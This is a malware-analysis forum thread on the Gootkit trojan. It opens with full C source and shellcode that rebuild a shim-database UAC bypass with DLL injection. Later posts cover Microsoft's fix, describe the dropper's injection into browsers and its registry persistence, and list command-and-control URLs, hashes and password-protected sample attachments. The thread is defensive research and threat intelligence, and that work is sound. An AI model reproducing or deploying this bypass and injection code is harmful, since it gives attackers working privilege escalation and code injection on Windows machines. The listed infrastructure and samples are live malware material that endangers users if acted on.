A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #25733  by EP_X0FF
 Fri Apr 24, 2015 7:21 am
Here is the reconstruction of Gootkit shim patch UAC bypass method (+arbitrary dll injection). Need to check some things, so its sort of Release Candidate to the next version of UACMe.
Shellcode need some fix before copy-paste (actual jump to the code in the beginning).
Code: Select all
BOOL ucmShimPatch(
	CONST PVOID ProxyDll,
	DWORD ProxyDllSize
	)
{
	BOOL bResult = FALSE, cond = FALSE;
	PDB	 hpdb;
	GUID dbGUID, exeGUID;
	WCHAR szTempDirectory[MAX_PATH * 2];
	WCHAR szShimDbPath[MAX_PATH * 2];
	WCHAR szSdbinstPath[MAX_PATH * 2];
	WCHAR szSystemDirectory[MAX_PATH];

	DWORD		indexid = MAXDWORD, sz, epRVA = 0;
	TAGID		dbrf, libref, patchref, exeref, matchfileref, patchfileref;
	PBYTE		tmp;
	PPATCHBITS	patchbits;

	RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath));
	RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));

	do {

		if (!GetSystemDirectoryW(szSystemDirectory, MAX_PATH)) {
			break;
		}
		wsprintfW(szSdbinstPath, SHIM_SDBINSTALLER, szSystemDirectory);

		if (CoCreateGuid(&dbGUID) != S_OK) {
			break;
		}
		if (CoCreateGuid(&exeGUID) != S_OK) {
			break;
		}

		RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));

		if (!GetTempPathW(MAX_PATH, szTempDirectory)) {
			break;
		}

		// drop fubuki
		RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
		wsprintfW(szShimDbPath, L"%wsr3.dll", szTempDirectory);
		if (!supWriteBufferToFile(szShimDbPath, ProxyDll, ProxyDllSize))
		{
			break;
		}

		RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));

		wsprintfW(szShimDbPath, L"%wsamuzani.sdb", szTempDirectory);

		hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH);
		if (hpdb == NULL) {
			break;
		}

		if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) {
			break;
		}
		if (!SdbStartIndexing(hpdb, indexid)) {
			break;
		}
		SdbStopIndexing(hpdb, indexid);
		SdbCommitIndexes(hpdb);

		// begin DATABASE {
		dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE);		
		if (!SdbWriteStringTag(hpdb, TAG_NAME, L"amuzani")) {
			break;
		}
		SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
		SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32

		// begin LIBRARY {
		libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY);

		patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);

		// query EP RVA for target
		RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));
		wsprintfW(szTempDirectory, L"%ws\\%ws", szSystemDirectory, SHIMPATCH_EXENAME);
		epRVA = supQueryEntryPointRVA(szTempDirectory);
		if (epRVA == 0) {
			break;
		}

		tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32 * 1024);
		if (tmp != NULL) {
			patchbits = (PPATCHBITS)tmp;
			sz = 0;
			patchbits->Opcode = PATCH_REPLACE;
			patchbits->RVA = epRVA;
			_strcpy_w(patchbits->ModuleName, SHIMPATCH_EXENAME);
			supCopyMemory((char *)&patchbits->Pattern, sizeof(patchcode32), patchcode32, sizeof(patchcode32));
			patchbits->PatternSize = sizeof(patchcode32);
			patchbits->ActionSize = sizeof(PATCHBITS) + patchbits->PatternSize;
			sz += patchbits->ActionSize;
			SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz);
			HeapFree(GetProcessHeap(), 0, tmp);
		}
		SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH

		// end LIBRARY
		SdbEndWriteListTag(hpdb, libref);

		SdbStartIndexing(hpdb, indexid);

		// begin EXE {
		exeref = SdbBeginWriteListTag(hpdb, TAG_EXE);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
		SdbWriteStringTag(hpdb, TAG_APP_NAME, SHIMPATCH_EXENAME);
		SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));

		// begin MATCH {
		matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
		SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, SHIMPATCH_MSFTFULL);
		SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH

		patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);
		SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref);
		SdbEndWriteListTag(hpdb, patchfileref);

		SdbEndWriteListTag(hpdb, exeref); // } end EXE

		// } end DATABASE
		SdbEndWriteListTag(hpdb, dbrf);

		SdbCloseDatabaseWrite(hpdb);

		// Register db and run target.
		bResult = ucmRegisterAndRunTarget(szSystemDirectory, szSdbinstPath, szShimDbPath, L"%ws\\iscsicli.exe", TRUE);

	} while (cond);

	return bResult;
}
Code: Select all
#include <Windows.h>
#include "ntpeb.h"
#include "minirtl\minirtl.h"

typedef HMODULE (WINAPI *pfnLoadLibraryA)(LPCSTR lpLibFileName);
typedef DWORD (WINAPI *pfnExpandEnvironmentStringsA)(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize);

DWORD gethash(char *s)
{
	DWORD h = 0;

	while (*s != 0) {
		h ^= *s;
		h = RotateLeft32(h, 3) + 1;
		s++;
	}

	return h;
}

PVOID rawGetProcAddress(PVOID Module, DWORD hash)
{
	PIMAGE_DOS_HEADER			dosh = (PIMAGE_DOS_HEADER)Module;
	PIMAGE_FILE_HEADER			fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
	PIMAGE_OPTIONAL_HEADER		popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
	DWORD						ETableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, ETableSize = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
	PIMAGE_EXPORT_DIRECTORY		pexp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosh + ETableVA);
	PDWORD						names = (PDWORD)((PBYTE)dosh + pexp->AddressOfNames), functions = (PDWORD)((PBYTE)dosh + pexp->AddressOfFunctions);
	PWORD						ordinals = (PWORD)((PBYTE)dosh + pexp->AddressOfNameOrdinals);
	DWORD_PTR					i, fp;

	if (ETableVA == 0)
		return NULL;

	for (i = 0; i < pexp->NumberOfNames; i++) {
		if (gethash((char *)((PBYTE)dosh + names[i])) == hash) {

			fp = functions[ordinals[i]];

			if ((fp >= ETableVA) && (fp < ETableVA + ETableSize)) {
				*((PBYTE)0) = 0;
				return NULL;
			}

			return (PBYTE)Module + fp;
		}
	}

	return NULL;
}

void main()
{
	PTEB							teb = (PTEB)__readfsdword(0x18);
	PPEB							peb = teb->ProcessEnvironmentBlock;
	PLDR_DATA_TABLE_ENTRY			ldre0 = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
	pfnLoadLibraryA					xLoadLibraryA;
	pfnExpandEnvironmentStringsA	xExpandEnvironmentStringsA;
	CHAR							libpath[MAX_PATH];
	DWORD	textbuf[10] = {
		'e\0k\0', 'n\0r\0', 'l\0e\0', '\x33\0\x32\0', 'd\0.\0', 'l\0l\0', 0,
		'PMT%', '3r\\%', 0
	};

	while (_strcmpi_w(ldre0->BaseDllName.Buffer, (wchar_t *)&textbuf) != 0)
		ldre0 = (PLDR_DATA_TABLE_ENTRY)ldre0->InLoadOrderLinks.Flink;

	xExpandEnvironmentStringsA = (pfnExpandEnvironmentStringsA)rawGetProcAddress(ldre0->DllBase, 0xf53890a2);
	xLoadLibraryA = (pfnLoadLibraryA)rawGetProcAddress(ldre0->DllBase, 0x69b37e08);

	xExpandEnvironmentStringsA((char *)&textbuf[7], libpath, sizeof(libpath));
	xLoadLibraryA(libpath);
}
 #25754  by EP_X0FF
 Thu Apr 30, 2015 7:22 am
MS released update to remove autoelevation from sdbinst. It is marked as "unimportant" and available via WU. Original description of patch was available here https://support.microsoft.com/en-us/kb/3045645 (unavailable page at the moment of post). For a gootkit and all the copy-pasters from it, this means their UAC bypass methods will no longer work, as well as dll injection technique.
 #25755  by tomchop
 Thu Apr 30, 2015 7:51 am
The link doesn't seem to be working (404). I'm curious to see how the patch works (at least concerning the persistence functionality), since it's basically a Windows "feature" that's being exploited (patches are installed via the sdbinst utility).
 #25756  by EP_X0FF
 Thu Apr 30, 2015 10:13 am
Yes this page works only periodically.

It simple removes autoelevation marker from sdbinst manifest making silent autoelevation impossible. Without this malware will be unable to write to the HKLM and flush shim db cache (which is more important I think).

For Windows 7, Windows 8 and their server variants install this update:

win7
https://www.microsoft.com/en-us/downloa ... x?id=46807

win8
https://www.microsoft.com/en-us/downloa ... x?id=46811

win8 x64
https://www.microsoft.com/en-us/downloa ... x?id=46803

Server 2012
https://www.microsoft.com/en-us/downloa ... x?id=46805

Server 2008
https://www.microsoft.com/en-us/downloa ... x?id=46806

For Windows 8.1 this patch merged with compability database update, KB3048097.
https://www.microsoft.com/en-us/downloa ... x?id=46823
 #25770  by EP_X0FF
 Sat May 02, 2015 11:48 am
Apparently new version of gootkit dropper. Compared with previously detected it is huge step backward.

Have no idea if this is fast reaction on latest MS patch or whatever.

PE timestamp indicates they were built 27/04 and 29/04.

No Poweliks method, no UAC bypass. Contains pieces of never executed code and 2 execution switches - "/executable" and "/service" where "/service" never observed to be used.

Obfuscated dropper is around 172 KB in size, real size is about 32 KB. In attach both of them.

Execution flow:

"/service"
If wow64 environment detected:
Launch %SystemRoot%\syswow64\svchost.exe, inject itself inside with CreateRemoteThread. Inject itself into running browsers/apps (list below).
If no wow64 environment detected:
Inject itself into services.exe with CreateRemoteThread. Inject itself into running browsers/apps.

Does not survive reboot with this switch. Seems unfinished feature. Contains unused code required for SCM service registration.

"/executable"
If wow64 environment detected:
Launch %SystemRoot%\syswow64\explorer.exe, inject itself inside with CreateRemoteThread. Inject itself into running browsers/apps (list below).
If no wow64 environment detected:
Inject itself into explorer.exe with CreateRemoteThread. Inject itself into running browsers/apps.

Move copy of itself to AppData\Local\Temp and set itself for autorun with HKCU Run key.

Target applications:
safari.exe
chrome.exe
opera.exe
iexplore.exe
mozilla.exe
firefox.exe
firef.exe
maxthon.exe
msmsgs.exe
myie.exe
avant.exe
navigator.exe
thebat.exe
outlook.exe
msimn.exe
thunderbird.exe
iron.exe
dragon.exe
epic.exe
seamonkey.exe
PDB string
F:\Devel\usermode-rootkit\usermode-rootkit\Release\primitive-dropper.pdb
Hardcoded mutex name:
861e4d8a-168b-4b90-a04f-34f72ee701e0
Remember this is just a downloader - real gootkit body is in downloaded dll and it is about 5 MB in size.

Samples courtesy of R136a1.

https://www.virustotal.com/en/file/250a ... /analysis/
https://www.virustotal.com/en/file/9f39 ... /analysis/
Attachments
pass: infected
(109.4 KiB) Downloaded 93 times
 #25773  by EP_X0FF
 Sun May 03, 2015 6:28 am
Another sample from gootkit family (samples courtesy of R136a1). This time with shim patch + exploit on board (see "StealedChinaExpSorry" marker in unpacked binary).

https://www.virustotal.com/en/file/0374 ... 430634202/
https://www.virustotal.com/en/file/a165 ... 430634212/

Debug messages removed in this build.
Attachments
pass: infected
(288.73 KiB) Downloaded 85 times
 #25905  by Kafeine
 Tue May 19, 2015 3:33 pm
Dropped in a French Focused Angler EK thread today
ed865aef80ad5166f9f9009959033f98

Callbacks :
31.148.219.153

https ://dropcoreproj .com:80/rbody32 <-- node32.dll.rk

https ://dropcoreproj .com:80/rpersist2/-1199589168 <-- this is new to me. ( rpersist.dat)
6bbd9830e844ac694f3d6e2251418c56
Attachments
3 items - password : infected
(2.81 MiB) Downloaded 110 times
 #25906  by EP_X0FF
 Tue May 19, 2015 4:34 pm
@Kafeine

It is evolution of this version -> http://www.kernelmode.info/forum/viewto ... 770#p25770

In your sample (ed865aef80ad5166f9f9009959033f98_Gootkit.kaf) mzH added new 3rd switch -> "/shell". It's autorun via Winlogon key. Seems author experiencing crisis of ideas.
 #26797  by teddybear
 Thu Sep 24, 2015 3:13 pm
Hello,
here are two recent Gootkit samples:
Code: Select all
9fbd5d848f97bcc6526b684097ae46e82958cdde49b0ad96b1839c2b831de5a1  kb542309545.exe
043177bc152904233264a7190f526f6f3e02805589514c64572c94ff8666ca0c  wattzaapp.exe
They were distributed yesterday in Italy by spamming emails with an attached XLS:
Code: Select all
Subject: Fv: fattura proforma 1234567 del 22-06-2015
1cdcd40225b27cb1efedaf75a58a0271a7976ed731bfea9f4737e75cd02cf436  doc-3520187.xls
The XLS macro downloads a file from one of these URLs:
Code: Select all
http:// marcogrimaldi .pw/home/include/wattzaapp.exe
http:// marcogrimaldi .pw/home/images/kb542309545.exe
The Gootkit samples then communicate with this C&C using HTTPS on port 80:
Code: Select all
https:// commalgo .org:80/rbody32
https:// commalgo .org:80/rpersist2/
Other C&Cs, probably using HTTPS on both port 80 and 443:
Code: Select all
listsecurity .org
easyeuro .org
Enjoy
Attachments
infected
(104.96 KiB) Downloaded 91 times
 #26868  by fghjewgfhjw
 Fri Oct 02, 2015 9:35 am
@teddybear

https:// commalgo .org:80/rbody32 -> 19c7c41d49a2fca9c2162f2408bbfdd3
https:// commalgo .org:80/rpersist2/ -> 43ed108f94c9ea7008bb58da5a0f7555
  • 1
  • 3
  • 4
  • 5
  • 6
  • 7